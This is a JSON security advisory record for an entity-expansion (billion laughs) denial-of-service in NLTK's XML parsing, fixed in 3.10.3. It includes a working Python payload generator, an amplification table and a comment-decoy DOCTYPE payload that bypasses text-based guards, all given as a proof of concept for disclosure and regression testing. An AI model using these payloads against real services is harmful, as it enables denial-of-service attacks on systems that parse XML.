{"id":"GHSA-97qj-x29f-37w7","summary":"NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses","details":"Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `\u003c!ENTITY\u003e` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (\u003c= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'\u003c!ENTITY e{i} \"{(\"&e%d;\"%(i-1))*10}\"\u003e' for i in range(1, levels+1))\n    return f'\u003c!DOCTYPE d [\u003c!ENTITY e0 \"AAAAAAAAAA\"\u003e{d}]\u003e\u003cd\u003e&e{levels};\u003c/d\u003e'\nET.fromstring(bomb(5))   # -\u003e element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n\u003e\u003e\u003e from nltk.internals import ElementWrapper\n\u003e\u003e\u003e ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `\u003c!DOCTYPE\u003e` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '\u003c!-- \u003c!DOCTYPE x [ ] \u003e --\u003e\u003c!DOCTYPE d [\u003c!ENTITY a \"PPPP...\"\u003e]\u003e\u003cd\u003e&a;\u003c/d\u003e'\n```\n\n```\nraw ElementTree -\u003e EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -\u003e REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -\u003e REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -\u003e REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","aliases":["CVE-2026-78681","PYSEC-2026-3748"],"modified":"2026-09-08T16:45:04.193148017Z","published":"2026-09-08T16:42:18Z","database_specific":{"github_reviewed_at":"2026-09-08T16:42:18Z","nvd_published_at":null,"cwe_ids":["CWE-776"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78681"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"}],"affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.3"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-97qj-x29f-37w7/GHSA-97qj-x29f-37w7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}